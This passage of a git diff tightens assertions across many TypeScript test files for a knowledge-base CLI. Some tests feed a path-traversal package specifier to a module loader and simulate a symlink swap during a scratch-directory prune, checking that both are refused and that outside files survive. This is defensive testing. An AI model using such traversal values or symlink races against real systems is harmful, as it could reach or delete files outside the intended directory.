out. Without a provider no cache + // is written at all and nothing here could fail. + await runIndex(root, { embeddings: true, provider: makeProvider() }); const db = await openRead(root); const asset = db @@ -719,12 +721,8 @@ describe("asset cache non-poisoning", () => { db.close(); // The committed sidecar cache must never learn placeholders or title - // fallbacks (the file may legitimately not exist at all). - for (const entry of readAssetCache(root)) { - expect(entry.v.startsWith("[Image:")).toBe(false); - expect(entry.v.startsWith("[PDF:")).toBe(false); - expect(entry.v).not.toBe("assets: logo"); - } + // fallbacks: the one asset has no description, so the cache holds nothing. + expect(readAssetCache(root)).toEqual([]); }); test("the sidecar rehydrates a lost brain.db even without enrichment", async () => { diff --git a/packages/core/tests/instructions-weight.test.ts b/packages/core/tests/instructions-weight.test.ts index c7beb34b0f..6825a3cb80 100644 --- a/packages/core/tests/instructions-weight.test.ts +++ b/packages/core/tests/instructions-weight.test.ts @@ -104,7 +104,7 @@ describe("measureInstructions", () => { mkdirSync(dir, { recursive: true }); writeFileSync(join(dir, "SKILL.md"), "---\nname: broken\n---\n\nNo description.\n"); const m = measureInstructions(root, []); - expect(m.problems.some((p) => p.includes("broken") && p.includes("missing name or description"))).toBe(true); + expect(m.problems).toContainEqual(expect.stringMatching(/broken.*missing name or description|missing name or description.*broken/)); expect(names(root)).not.toContain("skill broken"); }); }); diff --git a/packages/core/tests/jev-reranker.test.ts b/packages/core/tests/jev-reranker.test.ts index 55f03bbc0f..d80b630bb1 100644 --- a/packages/core/tests/jev-reranker.test.ts +++ b/packages/core/tests/jev-reranker.test.ts @@ -116,7 +116,7 @@ describe("jevReranker", () => { test("names the source per candidate only when the pool spans several stores", () => { const single = buildJevRequest(JEV_MODEL, { query: "q", candidates: [candidate(0), candidate(1)] }).body; - expect(single.state.candidates.every((c) => !("source" in c))).toBe(true); + expect(single.state.candidates.filter((c) => "source" in c)).toEqual([]); expect(single.questions.ranking.instructions.situation).not.toContain("`source`"); const union = buildJevRequest(JEV_MODEL, { diff --git a/packages/core/tests/link-walk.test.ts b/packages/core/tests/link-walk.test.ts index 26010224ca..8d7c75d1bb 100644 --- a/packages/core/tests/link-walk.test.ts +++ b/packages/core/tests/link-walk.test.ts @@ -28,12 +28,16 @@ afterAll(() => { }); test("a document deleted between the traversal and the node lookup still has its node", () => { + // The deletion must really land mid-walk: without it the node is there anyway. + let deletedMidWalk = false; const { edges, nodes } = walkLinks(reader, { path: "me/identity.md", depth: 1, direction: "outgoing" }, () => { // Another connection, like a `brain index` in another process, drops a // target the traversal has already reported as resolved. writer.run("DELETE FROM documents WHERE path = 'context/current-focus.md'"); expect(writer.prepare("SELECT COUNT(*) AS n FROM documents WHERE path = 'context/current-focus.md'").get()).toEqual({ n: 0 }); + deletedMidWalk = true; }); + expect(deletedMidWalk).toBe(true); expect(edges).toContainEqual({ source: "me/identity.md", target: "context/current-focus.md", resolved: true }); expect(nodes.map((n) => n.path)).toEqual(["context/current-focus.md", "me/basics/short-bio.md", "me/identity.md"]); }); diff --git a/packages/core/tests/links-target-index.test.ts b/packages/core/tests/links-target-index.test.ts index 4276638845..0486c3a223 100644 --- a/packages/core/tests/links-target-index.test.ts +++ b/packages/core/tests/links-target-index.test.ts @@ -81,7 +81,7 @@ describe("links.target_id index", () => { test("the query under test is still the one brain_graph runs", () => { // A stale copy would keep the plan test green while the real query moved. const source = readFileSync(join(import.meta.dir, "../src/lib/link-walk.ts"), "utf8"); - expect(source.includes(INCOMING_QUERY)).toBe(true); + expect(source).toContain(INCOMING_QUERY); }); test("the brain_graph incoming query searches links by target_id instead of scanning it", () => { @@ -89,7 +89,7 @@ describe("links.target_id index", () => { try { seed(db, 200); const detail = plan(db); - expect(detail.some((d) => /^SCAN l\b/.test(d)), detail.join("\n")).toBe(false); + expect(detail.filter((d) => /^SCAN l\b/.test(d))).toEqual([]); expect( detail.some((d) => /^SEARCH l USING (COVERING )?INDEX \S+ \(target_id=\?\)/.test(d)), detail.join("\n") @@ -125,7 +125,7 @@ describe("links.target_id index", () => { expect(after.prepare("SELECT source_id, target, target_id FROM links ORDER BY source_id, target").all()).toEqual( linksBefore ); - expect(plan(after).some((d) => /^SCAN l\b/.test(d))).toBe(false); + expect(plan(after).filter((d) => /^SCAN l\b/.test(d))).toEqual([]); } finally { after.close(); } diff --git a/packages/core/tests/media-config.test.ts b/packages/core/tests/media-config.test.ts index 0d99c48ad4..a8f8889ece 100644 --- a/packages/core/tests/media-config.test.ts +++ b/packages/core/tests/media-config.test.ts @@ -21,7 +21,8 @@ const dirs: string[] = []; afterEach(() => { for (const dir of dirs.splice(0)) rmSync(dir, { recursive: true, force: true }); }); function git(cwd: string, ...args: string[]) { - const r = Bun.spawnSync(["git", "-C", cwd, ...args]); + // Command-scoped, so neither a global nor an environment-scoped commit.gpgsign reaches the fixture commit. + const r = Bun.spawnSync(["git", "-c", "commit.gpgsign=false", "-C", cwd, ...args]); if (r.exitCode !== 0) throw new Error(r.stderr.toString()); } function put(root: string, path: string, bytes: string) { diff --git a/packages/core/tests/media-effects.test.ts b/packages/core/tests/media-effects.test.ts index f8b8b3672e..3dd1ad64f5 100644 --- a/packages/core/tests/media-effects.test.ts +++ b/packages/core/tests/media-effects.test.ts @@ -28,7 +28,8 @@ const dirs: string[] = []; afterEach(() => { for (const dir of dirs.splice(0)) rmSync(dir, { recursive: true, force: true }); }); function git(cwd: string, ...args: string[]) { - const r = Bun.spawnSync(["git", "-C", cwd, ...args]); + // Command-scoped, so neither a global nor an environment-scoped commit.gpgsign reaches the fixture commit. + const r = Bun.spawnSync(["git", "-c", "commit.gpgsign=false", "-C", cwd, ...args]); if (r.exitCode !== 0) throw new Error(r.stderr.toString()); } function put(root: string, path: string, bytes: string | Buffer) { diff --git a/packages/core/tests/media-inventory.test.ts b/packages/core/tests/media-inventory.test.ts index d93d23c4b6..19e38d51c7 100644 --- a/packages/core/tests/media-inventory.test.ts +++ b/packages/core/tests/media-inventory.test.ts @@ -88,7 +88,7 @@ describe("admission", () => { ["photos/ithaca-shore.jpg", "info", ["media"]], ["voyage/storm-at-sea.mp4", "warning", ["large", "media"]], ]); - expect(findings.every((f) => f.category === "media" && f.urgency === null)).toBe(true); + expect(findings.map((f) => [f.category, f.urgency])).toEqual([["media", null], ["media", null]]); expect(Object.keys(findings[0]!.fingerprintFields)).toEqual(["sha256", "bytes", "classes", "policy", "refs", "pins", "severity", "urgency"]); }); @@ -101,7 +101,7 @@ describe("admission", () => { const inv = inventoryOf(root); expect(inv.items.map((i) => i.path)).toEqual([HARBOUR]); expect(inv.links.symlinks).toBe(1); - expect([...canonicalFindings(mediaCandidates(inv)).values()].some(countedMedia)).toBe(false); + expect([...canonicalFindings(mediaCandidates(inv)).values()].filter(countedMedia).map((f) => f.path)).toEqual([]); }); }); diff --git a/packages/core/tests/media-references.test.ts b/packages/core/tests/media-references.test.ts index bcd8394065..3f0502e624 100644 --- a/packages/core/tests/media-references.test.ts +++ b/packages/core/tests/media-references.test.ts @@ -72,7 +72,7 @@ describe("declared forms", () => { ]); // Each span is exactly the destination as written, so a rewrite touches nothing else. for (const r of refs) expect(text.slice(r.span![0], r.span![1])).toBe(r.target); - expect(refs.every((r) => r.path === HARBOUR && r.note === "places/ithaca.md")).toBe(true); + expect(refs.filter((r) => r.path !== HARBOUR || r.note !== "places/ithaca.md").map((r) => [r.line, r.path, r.note])).toEqual([]); }); test("frontmatter values and HTML src, href and poster are detected and never rewritable", () => { diff --git a/packages/core/tests/module-entry.test.ts b/packages/core/tests/module-entry.test.ts index 1371ed7555..6b13bc414f 100644 --- a/packages/core/tests/module-entry.test.ts +++ b/packages/core/tests/module-entry.test.ts @@ -28,7 +28,8 @@ function brainWithLogbook(): string { test("the fixture module imports only supported entries", () => { const source = readFileSync(join(FIXTURE, "module.ts"), "utf8"); - const specifiers = [...source.matchAll(/^(?:import|export)\s[^;]*?from\s+"([^"]+)"/gm)].map((match) => match[1]); + // `import x from "..."`, `export ... from "..."`, and a bare side-effect `import "..."`. + const specifiers = [...source.matchAll(/^(?:(?:import|export)\s[^;]*?from\s+|import\s+)"([^"]+)"/gm)].map((match) => match[1]); expect(specifiers).toContain("@schlessera/brain/module"); expect(specifiers.filter((specifier) => !SUPPORTED.has(specifier))).toEqual([]); expect(source).not.toMatch(/import\(|require\(/); diff --git a/packages/core/tests/module-renderers.test.ts b/packages/core/tests/module-renderers.test.ts index fa478bf104..ba6284c6b1 100644 --- a/packages/core/tests/module-renderers.test.ts +++ b/packages/core/tests/module-renderers.test.ts @@ -37,8 +37,10 @@ test("CLI lint names unresolved package export", async () => { const result = await runCli(root,["module","lint","figures","--json"]); expect(JSON.parse(result.stdout).findings[0].message).toContain("@odyssey/figures/missing"); expect(result.code).toBe(1); }); -for (const [label,value] of [["unknown field",{client:"@odyssey/figures/ui",typo:true}],["invalid fence",{client:"@odyssey/figures/ui",fences:["Diagram"]}],["invalid extension",{client:"@odyssey/figures/ui",extensions:["svg"]}],["foreign export",{client:"@odyssey/other/ui"}],["path traversal",{client:"@odyssey/figures/../ui"}],["prefix spoof",{client:"@odyssey/figures-other/ui"}]] as const) { - test(`rejects ${label}`,async()=>{const {root}=fixture(value);await expect(loadModules(config,root)).rejects.toThrow();}); +// Each refusal names its own cause: a bare rejects.toThrow() would also pass on a fixture that fails to load at all. +const ownSubpath = "must name an export subpath of its own package"; +for (const [label,value,reason] of [["unknown field",{client:"@odyssey/figures/ui",typo:true},'renderers.figure: Unrecognized key: "typo"'],["invalid fence",{client:"@odyssey/figures/ui",fences:["Diagram"]},"renderers.figure.fences.0: Invalid string"],["invalid extension",{client:"@odyssey/figures/ui",extensions:["svg"]},'renderers.figure.extensions.0: Invalid string: must start with "."'],["foreign export",{client:"@odyssey/other/ui"},`"@odyssey/other/ui" ${ownSubpath}`],["path traversal",{client:"@odyssey/figures/../ui"},`"@odyssey/figures/../ui" ${ownSubpath}`],["prefix spoof",{client:"@odyssey/figures-other/ui"},`"@odyssey/figures-other/ui" ${ownSubpath}`]] as const) { + test(`rejects ${label}`,async()=>{const {root}=fixture(value);await expect(loadModules(config,root)).rejects.toThrow(reason);}); } for (const declaration of [{fences:["mermaid"]},{fences:["mmd"]},{extensions:[".mmd"]},{extensions:[".mermaid"]}]) { test(`reserves built-in claim ${JSON.stringify(declaration)}`,async()=>{const {root}=fixture({client:"@odyssey/figures/ui",...declaration});await expect(loadModules(config,root)).rejects.toThrow("reserved");}); diff --git a/packages/core/tests/okf-exporter.test.ts b/packages/core/tests/okf-exporter.test.ts index ee0c1e81d2..f77ce27820 100644 --- a/packages/core/tests/okf-exporter.test.ts +++ b/packages/core/tests/okf-exporter.test.ts @@ -346,7 +346,11 @@ describe("OKF checker", () => { }); const errorReport = checkOkfBundle(errorRoot); expect(errorReport.ok).toBe(false); - expect(errorReport.errors).toBeGreaterThanOrEqual(4); + // One conformance error per broken rule, so losing any one check turns this red. + expect(errorReport.issues.map((issue) => `${issue.severity} ${issue.path}`).sort()).toEqual([ + "error empty-type.md", "error index.md", "error index.md", "error log.md", "error missing-frontmatter.md", + ]); + expect(errorReport.errors).toBe(5); }); test("finds frontmatter after a byte order mark, as the parser reads it (#2507)", () => { diff --git a/packages/core/tests/paid-provider-qualification.test.ts b/packages/core/tests/paid-provider-qualification.test.ts index 82e9d9939b..3721587eb3 100644 --- a/packages/core/tests/paid-provider-qualification.test.ts +++ b/packages/core/tests/paid-provider-qualification.test.ts @@ -118,19 +118,19 @@ for (const mode of ["providers", "cli", "images"] as const) { expect( result.transport .slice(0, 5) - .every( + .filter( (call: { method: string; model: string }) => - call.method === "POST" && - call.model.replace(/^models\//, "") === "gemini-embedding-2" + call.method !== "POST" || + call.model.replace(/^models\//, "") !== "gemini-embedding-2" ), "NATIVE_EMBEDDING_MODEL_AND_METHOD" - ).toBe(true); + ).toEqual([]); expect( - result.transport.some( - (call: { method: string; path: string }) => - call.method === "DELETE" && call.path === "/v1beta/files/odysseus" - ) - ).toBe(true); + result.transport.map((call: { method: string; path: string }) => [ + call.method, + call.path, + ]) + ).toContainEqual(["DELETE", "/v1beta/files/odysseus"]); } else if (mode === "cli") { expect(Number(result.index.code), String(result.index.stderr)).toBe(0); expect(result.index.embeddingRequests).toBeGreaterThan(0); diff --git a/packages/core/tests/propagation-review.test.ts b/packages/core/tests/propagation-review.test.ts index 632907b053..a35c2daa9d 100644 --- a/packages/core/tests/propagation-review.test.ts +++ b/packages/core/tests/propagation-review.test.ts @@ -154,7 +154,7 @@ test("real CLI reconciliation automates benign findings and cached judgment pers writeFileSync(source, readFileSync(source, "utf8") + "\nAn escort is now required.\n"); const changed = await scriptedCli(brain, ["reconcile"], "needs_update"); expect(changed.propagation.reviewRequired).toBe(1); - expect(changed.detected.some((i: { category: string }) => i.category === "propagation")).toBe(true); + expect(changed.detected.map((i: { category: string }) => i.category)).toContain("propagation"); expect(readFileSync(requests, "utf8").trim().split("\n")).toHaveLength(2); }); @@ -162,7 +162,7 @@ test("inspection-only next does not ask a provider or write a receipt even with const brain = fixture(); const baseline = await runCli(brain.root, ["hygiene", "reconcile", "--json"]); // Explicitly keyless child. expect(baseline.code, baseline.stderr).toBe(0); - expect(JSON.parse(baseline.stdout).detected.some((i: { category: string }) => i.category === "propagation")).toBe(true); + expect(JSON.parse(baseline.stdout).detected.map((i: { category: string }) => i.category)).toContain("propagation"); await scriptedCli(brain, ["next", "--dry-run"], "forbid"); expect(existsSync(join(brain.root, "propagation-requests.jsonl"))).toBe(false); expect(existsSync(join(brain.root, PROPAGATION_REVIEWS_PATH))).toBe(false); diff --git a/packages/core/tests/provider-relay-video.test.ts b/packages/core/tests/provider-relay-video.test.ts index cf3474b8cf..dda4aef855 100644 --- a/packages/core/tests/provider-relay-video.test.ts +++ b/packages/core/tests/provider-relay-video.test.ts @@ -65,8 +65,26 @@ afterEach(() => { const video = () => ({ kind: "video" as const, path: join(directory, "troy.mp4"), mimeType: "video/mp4" }); +/** + * Run `fn` with the Files API poll interval (the 1000 ms wait between status + * polls in video.ts) moved to the next timer turn; every other timer stays + * real. Returns the poll waits it shortened, so a test can say there was one. + */ +async function withShortPolls(fn: () => Promise): Promise<{ value: T; polls: number }> { + const descriptor = Object.getOwnPropertyDescriptor(globalThis, "setTimeout")!; + const real = descriptor.value as (callback: (...args: unknown[]) => void, delay?: number, ...args: unknown[]) => unknown; + let polls = 0; + Object.defineProperty(globalThis, "setTimeout", { ...descriptor, value: (callback: (...args: unknown[]) => void, delay?: number, ...args: unknown[]) => { + if (delay !== 1000) return real(callback, delay, ...args); + polls++; + return real(callback, 0, ...args); + } }); + try { return { value: await fn(), polls }; } finally { Object.defineProperty(globalThis, "setTimeout", descriptor); } +} + test("a relayed local video runs its whole Files lifecycle through the relay socket, with no key", async () => { - const answer = await geminiCompletions().complete({ prompt: "What happens first?", parts: [video()] }); + const { value: answer, polls } = await withShortPolls(() => geminiCompletions().complete({ prompt: "What happens first?", parts: [video()] })); + expect(polls).toBe(1); expect(answer, "RELAYED_VIDEO_COMPLETES").toContain("The fleet leaves Troy"); expect(sent.map(request => `${request.method} ${request.url}`), "RELAYED_VIDEO_LIFECYCLE").toEqual([ "POST /upload/v1beta/files", @@ -75,21 +93,24 @@ test("a relayed local video runs its whole Files lifecycle through the relay soc "POST /v1beta/models/gemini-3-flash-preview:generateContent", "DELETE /v1beta/files/troy-1", ]); - expect(sent.every(request => request.unix === SOCKET), "EVERY_STEP_THROUGH_RELAY_SOCKET").toBe(true); - expect(sent.every(request => request.headers["x-brain-provider"] === "gemini" && request.headers["x-brain-provider-origin"] === ORIGIN)).toBe(true); + expect(sent.filter(request => request.unix !== SOCKET).map(request => request.url), "EVERY_STEP_THROUGH_RELAY_SOCKET").toEqual([]); + expect(sent.filter(request => request.headers["x-brain-provider"] !== "gemini" || request.headers["x-brain-provider-origin"] !== ORIGIN) + .map(request => request.url), "EVERY_STEP_NAMES_THE_PROVIDER").toEqual([]); expect(sent.filter(request => request.headers["x-goog-api-key"] || request.headers.authorization), "WORKER_SENDS_NO_KEY").toEqual([]); }); test("a cancelled relayed video still deletes its uploaded file through the relay", async () => { hangAt = "poll"; const controller = new AbortController(); - const pending = geminiCompletions().complete({ prompt: "What happens first?", parts: [video()], signal: controller.signal }); - for (let tries = 0; !sent.some(request => request.method === "GET") && tries < 2000; tries++) await Bun.sleep(5); - controller.abort(new Error("Odysseus cancelled the watch")); - const failure = await pending.then(() => "", (error: Error) => error.message); + const { value: failure } = await withShortPolls(async () => { + const pending = geminiCompletions().complete({ prompt: "What happens first?", parts: [video()], signal: controller.signal }); + for (let tries = 0; !sent.some(request => request.method === "GET") && tries < 2000; tries++) await Bun.sleep(5); + controller.abort(new Error("Odysseus cancelled the watch")); + return pending.then(() => "", (error: Error) => error.message); + }); expect(failure).toContain("Odysseus cancelled the watch"); const deletes = sent.filter(request => request.method === "DELETE"); expect(deletes.map(request => request.url), "CANCELLED_VIDEO_DELETES_OWNED_FILE").toEqual(["/v1beta/files/troy-1"]); expect(deletes[0]!.unix, "CANCELLED_CLEANUP_THROUGH_RELAY").toBe(SOCKET); - expect(sent.some(request => request.url.endsWith(":generateContent")), "CANCELLED_BEFORE_GENERATION").toBe(false); + expect(sent.map(request => request.url).filter(url => url.endsWith(":generateContent")), "CANCELLED_BEFORE_GENERATION").toEqual([]); }); diff --git a/packages/core/tests/render-scratch.test.ts b/packages/core/tests/render-scratch.test.ts index 1c380ad450..542397d190 100644 --- a/packages/core/tests/render-scratch.test.ts +++ b/packages/core/tests/render-scratch.test.ts @@ -6,7 +6,7 @@ import { afterEach, beforeEach, describe, expect, test } from "bun:test"; import { existsSync, mkdirSync, readFileSync, readdirSync, rmSync, statSync, symlinkSync, truncateSync, utimesSync, writeFileSync } from "fs"; import { join } from "path"; -import { SCRATCH_MAX_BYTES } from "../src/lib/scratch"; +import { ignoreScratch, SCRATCH_MAX_BYTES } from "../src/lib/scratch"; import { BRAIN_BIN, cleanup, keylessEnv, makeTempBrain, runCli } from "./cli-harness"; let root: string; @@ -30,6 +30,10 @@ beforeEach(() => { afterEach(() => cleanup(root)); +// The ignore line `brain doctor --fix` writes, written in-process: the doctor's +// own fix is proved by the tests that name it, and a CLI launch costs most of a second. +const ignored = () => expect(ignoreScratch(root)).toBe(true); + const scratchFiles = () => existsSync(join(root, ".brain/scratch")) ? readdirSync(join(root, ".brain/scratch")) : []; @@ -61,7 +65,7 @@ describe("render into the scratch area", () => { }, CLI_TIMEOUT_MS); test("a write into scratch prunes it, so it never waits for the daily pass", async () => { - await runCli(root, ["doctor", "--fix"]); + ignored(); mkdirSync(join(root, ".brain/scratch"), { recursive: true }); const stale = join(root, ".brain/scratch/stale.pdf"); writeFileSync(stale, "old"); @@ -74,7 +78,7 @@ describe("render into the scratch area", () => { }, CLI_TIMEOUT_MS); test("two inputs with one basename, and two renders of one input, all keep their own output", async () => { - await runCli(root, ["doctor", "--fix"]); + ignored(); mkdirSync(join(root, "notes/a"), { recursive: true }); mkdirSync(join(root, "notes/b"), { recursive: true }); writeFileSync(join(root, "notes/a/report.md"), "# Report A\n"); @@ -95,8 +99,8 @@ describe("render into the scratch area", () => { // A link out of the brain is already refused as an escape; a link to a // directory inside it is contained, and is the case the guard exists for: // a "scratch" write would otherwise become content. - await runCli(root, ["doctor", "--fix"]); - // The check created the (empty) directory; the link takes its place. + ignored(); + // A link takes the scratch directory's place. rmSync(join(root, ".brain/scratch"), { recursive: true, force: true }); symlinkSync(join("..", "notes"), join(root, ".brain/scratch")); const res = await runCli(root, ["render", "notes/trip.md", "--format", "html", "--scratch"]); @@ -106,7 +110,7 @@ describe("render into the scratch area", () => { }, CLI_TIMEOUT_MS); test("stdin without --out goes to scratch", async () => { - await runCli(root, ["doctor", "--fix"]); + ignored(); const proc = Bun.spawn(["bun", BRAIN_BIN, "render", "-", "--format", "html", "--json"], { env: keylessEnv(root), stdout: "pipe", @@ -125,7 +129,7 @@ describe("render into the scratch area", () => { const res = await runCli(root, ["render", "notes/trip.md", "--format", "html", "--out", ".brain/scratch/x.html"]); expect(res.code).toBe(1); expect(res.stderr + res.stdout).toContain("brain doctor --fix"); - await runCli(root, ["doctor", "--fix"]); + ignored(); for (let i = 0; i < 2; i++) { const again = await runCli(root, ["render", "notes/trip.md", "--format", "html", "--out", ".brain/scratch/x.html"]); expect(again.code).toBe(0); @@ -146,7 +150,7 @@ describe("render into the scratch area", () => { }, CLI_TIMEOUT_MS); test("retained pins over the cap do not let the render delete its own reported output (#1691)", async () => { - await runCli(root, ["doctor", "--fix"]); + ignored(); // A retained conversation pins a file larger than the cap on its own. // Sparse: the size counts, no GiB of blocks is allocated. const pinned = join(root, ".brain/scratch/voyage-log.bin"); diff --git a/packages/core/tests/render.test.ts b/packages/core/tests/render.test.ts index a36de95bec..cc476f7cc0 100644 --- a/packages/core/tests/render.test.ts +++ b/packages/core/tests/render.test.ts @@ -149,18 +149,28 @@ describe("brain render", () => { expect(readFileSync(join(root, "notes/stdin.html"), "utf8")).toContain("

From stdin

"); }); + // A markdown heading inside an .html file tells the two parsers apart: HTML + // keeps it as text, markdown makes it a heading. Each test writes its own input. + const RAW = '
raw
\n\n# Ithaca\n'; + test("treats .html input as HTML, not markdown", async () => { - writeFileSync(join(root, "notes/raw.html"), '
raw
'); - await render(["notes/raw.html", "--format", "html", "--out", "notes/t7.html"]); + writeFileSync(join(root, "notes/raw.html"), RAW); + const res = await render(["notes/raw.html", "--format", "html", "--out", "notes/t7.html"]); + expect(res.code).toBe(0); const html = readFileSync(join(root, "notes/t7.html"), "utf8"); expect(html).toContain('
raw
'); + expect(html).toContain("# Ithaca"); + expect(html).not.toContain("

Ithaca

"); }); test("--as overrides the extension", async () => { - await render(["notes/raw.html", "--format", "html", "--out", "notes/t8.html", "--as", "markdown"]); - // As markdown, the raw div is a block-level passthrough but the file is - // still parsed rather than copied — assert the parser ran. - expect(existsSync(join(root, "notes/t8.html"))).toBe(true); + writeFileSync(join(root, "notes/raw-as.html"), RAW); + const res = await render(["notes/raw-as.html", "--format", "html", "--out", "notes/t13.html", "--as", "markdown"]); + expect(res.code).toBe(0); + // As markdown, the raw div is a block-level passthrough and the heading is parsed. + const html = readFileSync(join(root, "notes/t13.html"), "utf8"); + expect(html).toContain('
raw
'); + expect(html).toContain("

Ithaca

"); }); }); diff --git a/packages/core/tests/reranker-helpers.test.ts b/packages/core/tests/reranker-helpers.test.ts index b781abb76e..7000505ec7 100644 --- a/packages/core/tests/reranker-helpers.test.ts +++ b/packages/core/tests/reranker-helpers.test.ts @@ -46,8 +46,8 @@ describe("buildPathMatcher", () => { test("glob patterns match the whole path", () => { const m = buildPathMatcher(["clients/**/ledger.md", "*.pdf"])!; - expect(m("clients/acme/ledger.md")).toBe(true); - expect(m("clients/acme/profile.md")).toBe(false); + expect(m("clients/ithaca/ledger.md")).toBe(true); + expect(m("clients/ithaca/profile.md")).toBe(false); expect(m("cv.pdf")).toBe(true); expect(m("me/cv.pdf")).toBe(false); }); diff --git a/packages/core/tests/safe-path.test.ts b/packages/core/tests/safe-path.test.ts index b8a436078d..9d0adf0227 100644 --- a/packages/core/tests/safe-path.test.ts +++ b/packages/core/tests/safe-path.test.ts @@ -116,10 +116,11 @@ describe("safeResolve — dangling and cyclic symlinks", () => { describe("resolveWritable", () => { const root = mkdtempSync(join(tmpdir(), "brain-writable-")); + fixtures.push(root); test("a repo-relative path resolves inside the repo", () => { const r = resolveWritable(root, "notes/x.md"); - expect(r?.startsWith(realpathSync(root))).toBe(true); + expect(r).toBe(join(realpathSync(root), "notes/x.md")); }); test("the scratch area is inside the repo, so it resolves", () => { @@ -130,7 +131,7 @@ describe("resolveWritable", () => { // Output there could not be opened from the UI; transient output goes to // the brain's scratch area instead. const target = join(tmpdir(), "scratch", "x.html"); - expect(target.startsWith(realpathSync(root))).toBe(false); + expect(target).not.toStartWith(realpathSync(root)); expect(resolveWritable(root, target)).toBeNull(); }); diff --git a/packages/core/tests/scratch.test.ts b/packages/core/tests/scratch.test.ts index 6d4628adfa..26f7fe43b7 100644 --- a/packages/core/tests/scratch.test.ts +++ b/packages/core/tests/scratch.test.ts @@ -305,22 +305,24 @@ describe("a prune beside another process", () => { * becomes a symlink to a directory outside the brain that holds a file of * the listed name. The old path now names the outside file. */ - function swapNestedAfterListing(): { file: string } { + function swapNestedAfterListing(): { file: string; swapped: () => boolean } { file("nested/victim.pdf", 7, SCRATCH_TTL_MS + 1000); const outside = outsideDir(); outsides.push(outside.dir); const nested = join(root, SCRATCH_DIR, "nested"); + let swapped = false; const real = fs.readdirSync; const spy = spyOn(fs, "readdirSync").mockImplementation(((path: fs.PathLike, options?: unknown) => { const result = real(path, options as never); if (String(path) === nested && !isSymlinkNow(nested)) { rmSync(nested, { recursive: true, force: true }); symlinkSync(outside.dir, nested); + swapped = true; } return result; }) as typeof fs.readdirSync); spies.push(spy); - return { file: outside.file }; + return { file: outside.file, swapped: () => swapped }; } const isSymlinkNow = (p: string) => fs.lstatSync(p, { throwIfNoEntry: false })?.isSymbolicLink() === true; const spies: { mockRestore(): void }[] = []; @@ -331,6 +333,7 @@ describe("a prune beside another process", () => { test("prune: an ancestor swapped for a link between the listing and the unlink is skipped, the outside file survives", () => { const outside = swapNestedAfterListing(); const report = pruneScratch(root, NOW); + expect(outside.swapped(), "SWAP_HAPPENED").toBe(true); expect(existsSync(outside.file)).toBe(true); expect(readFileSync(outside.file, "utf8")).toBe("keep me"); expect(report.removed).toEqual([]); @@ -339,6 +342,7 @@ describe("a prune beside another process", () => { test("clean: the same swap, the same outcome", () => { const outside = swapNestedAfterListing(); const report = cleanScratch(root); + expect(outside.swapped(), "SWAP_HAPPENED").toBe(true); expect(existsSync(outside.file)).toBe(true); expect(report.removed).toEqual([]); }); @@ -378,7 +382,7 @@ describe("a prune beside another process", () => { * descends, `nested` becomes a link to an outside directory holding an * empty `deep` of the listed name. */ - function swapNestedAfterCleanupListing(ageMs: number): { deep: string } { + function swapNestedAfterCleanupListing(ageMs: number): { deep: string; swapped: () => boolean } { file("nested/deep/x.bin", 5, ageMs); const outside = mkdtempSync(join(tmpdir(), "brain-outside-")); outsides.push(outside); @@ -397,12 +401,13 @@ describe("a prune beside another process", () => { return result; }) as typeof fs.readdirSync); spies.push(spy); - return { deep }; + return { deep, swapped: () => reads >= 2 }; } test("prune: a directory swapped for a link after the cleanup listed it is not descended into, the outside directory survives", () => { const outside = swapNestedAfterCleanupListing(SCRATCH_TTL_MS + 1000); pruneScratch(root, NOW); + expect(outside.swapped(), "SWAP_HAPPENED").toBe(true); expect(existsSync(outside.deep)).toBe(true); expect(lstatSync(outside.deep).isDirectory()).toBe(true); }); @@ -410,6 +415,7 @@ describe("a prune beside another process", () => { test("clean: the same swap, the outside directory survives", () => { const outside = swapNestedAfterCleanupListing(0); cleanScratch(root); + expect(outside.swapped(), "SWAP_HAPPENED").toBe(true); expect(existsSync(outside.deep)).toBe(true); }); diff --git a/packages/core/tests/seam-contracts.test.ts b/packages/core/tests/seam-contracts.test.ts index fe69fdcf78..4656b9c87b 100644 --- a/packages/core/tests/seam-contracts.test.ts +++ b/packages/core/tests/seam-contracts.test.ts @@ -92,6 +92,7 @@ async function anthropic(url: URL): Promise { } const realFetch = globalThis.fetch; +const fetchDescriptor = Object.getOwnPropertyDescriptor(globalThis, "fetch"); /** * Every variable the installed Gemini SDK reads besides the key it is handed: @@ -127,7 +128,8 @@ beforeAll(() => { }); afterAll(() => { - globalThis.fetch = realFetch; + if (fetchDescriptor) Object.defineProperty(globalThis, "fetch", fetchDescriptor); + else delete (globalThis as { fetch?: unknown }).fetch; delete process.env[KEY_ENV]; for (const [name, value] of Object.entries(savedEnv)) { if (value !== undefined) process.env[name] = value; diff --git a/packages/core/tests/search-result-tags.test.ts b/packages/core/tests/search-result-tags.test.ts index 0d915952a8..8c9e96c0fc 100644 --- a/packages/core/tests/search-result-tags.test.ts +++ b/packages/core/tests/search-result-tags.test.ts @@ -44,7 +44,7 @@ describe("nullable tags from actual retrieval projections", () => { expect(result.warnings).toEqual([]); assertTags(result.results); expect(result.results.map(r => r.path)).toEqual(["notes/1.md", "notes/2.md"]); - expect(result.results.every(r => Number.isFinite(r.score) && r.score > 0)).toBe(true); + expect(result.results.filter(r => !(Number.isFinite(r.score) && r.score > 0)).map(r => [r.path, r.score])).toEqual([]); expect(embeddingCalls).toBe(mode === "fts" ? 0 : 1); }); diff --git a/packages/core/tests/skills-claude-emitter.test.ts b/packages/core/tests/skills-claude-emitter.test.ts index 81eb0f9bbb..b4fb2e01ed 100644 --- a/packages/core/tests/skills-claude-emitter.test.ts +++ b/packages/core/tests/skills-claude-emitter.test.ts @@ -25,12 +25,17 @@ function skill(root: string, name: string): SkillManifest { } describe("claudeEmitter symlink round-trip", () => { - const root = mkRepo(); - const one = skill(root, "one"); - const two = skill(root, "two"); - const claudeDir = join(root, ".claude", "skills"); + /** A fresh repo with skills one and two, emitted `times` times already. */ + function repo(times: number) { + const root = mkRepo(); + const one = skill(root, "one"); + const two = skill(root, "two"); + for (let run = 0; run < times; run++) claudeEmitter.emit([one, two], root); + return { root, one, two, claudeDir: join(root, ".claude", "skills") }; + } test("first emit creates relative symlinks", () => { + const { root, one, two, claudeDir } = repo(0); const res = claudeEmitter.emit([one, two], root); expect(res.written.sort()).toEqual([".claude/skills/one", ".claude/skills/two"]); expect(res.removed).toEqual([]); @@ -42,12 +47,14 @@ describe("claudeEmitter symlink round-trip", () => { }); test("second emit is idempotent (no writes, no removals)", () => { + const { root, one, two } = repo(1); const res = claudeEmitter.emit([one, two], root); expect(res.written).toEqual([]); expect(res.removed).toEqual([]); }); test("dropping a skill prunes its stale symlink", () => { + const { root, one, claudeDir } = repo(1); const res = claudeEmitter.emit([one], root); 